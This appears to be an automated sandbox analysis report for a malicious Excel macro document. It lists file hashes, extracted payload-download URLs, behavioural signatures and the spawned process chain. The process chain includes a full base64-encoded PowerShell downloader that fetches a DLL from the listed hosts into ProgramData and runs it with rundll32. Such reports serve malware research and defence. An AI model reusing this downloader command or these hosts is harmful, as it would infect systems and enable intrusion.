Analysis
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max time kernel
93s -
max time network
35s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
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submitted
21-11-2022 11:53
General
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Target
b5f5d6de381bb2bd2f5f4520727a307c7f094435fa22fa05b840a3ce5b400c67.bin.xls
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Size
138KB
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MD5
430d7c853638524e59abe98c593b2ae5
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SHA1
6ed415997a658f5b749dded6347bf970acac2601
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SHA256
b5f5d6de381bb2bd2f5f4520727a307c7f094435fa22fa05b840a3ce5b400c67
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SHA512
e7100c0e17f4910305077018350c625d815115b09044764d037c98a9b847d48400c8fd7f0fb194617b96ca955f06f5b076e64887c33e89dcac7de08dbb93f40c
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SSDEEP
3072:zKehv7q2Pjx45uoDGTj+5xtekEvi8/dg0a3Wm47CdX5gVvhoxzYrasdJXIch1L:Wehv7q2Pjx45uoDGTj+5xtFEvi8/dg0x
Malware Config
Extracted
http://midnightsilvercrafters.com/store/wBjNOUw/
http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/
https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/
https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/
https://servilogic.net/b/14hqrdyP0Z3WsbQib8/
https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/
http://webmail.glemedical.com/wp-content/J1M2xxodH/
http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/
https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/
https://fortiuspharma.com/y6krss/EGm347cqj5/
https://garyjharris.com/cgi-bin/0hH/
https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/
https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
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Modifies Internet Explorer settings 1 TTPs 31 IoCs
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Modifies registry class 64 IoCs
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
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Suspicious behavior: EnumeratesProcesses 1 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of SetWindowsHookEx 7 IoCs
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Suspicious use of WriteProcessMemory 23 IoCs
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b5f5d6de381bb2bd2f5f4520727a307c7f094435fa22fa05b840a3ce5b400c67.bin.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\wscript.exewscript c:\programdata\oue4hjld.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\bhnasleil.bat" "3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls3⤵
- Suspicious use of WriteProcessMemory
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\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls4⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD50f96848827a2960f874bcf613ce1e72c
SHA1d936a765910adaf627fc6459716847fd87595ea2
SHA2569e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e
SHA51200f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862
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Filesize
604B
MD5a0e5c8b0ad3da42bf6952871a41bf5e8
SHA1cd2106ebaf43d596057457e87cf4c8482e246005
SHA2565c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a
SHA512c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725
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Filesize
16KB
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Filesize
16KB
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Filesize
64KB
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Filesize
44KB
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Filesize
8KB
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Filesize
44KB
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Filesize
44KB
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Filesize
44KB
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Filesize
16KB
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Filesize
44KB
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Filesize
44KB
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Filesize
44KB
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Filesize
16KB
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Filesize
44KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
44KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
12KB
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Filesize
16KB
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Filesize
44KB
-
Filesize
8KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
44KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
-
Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
16KB
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Filesize
5.7MB
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Filesize
5.7MB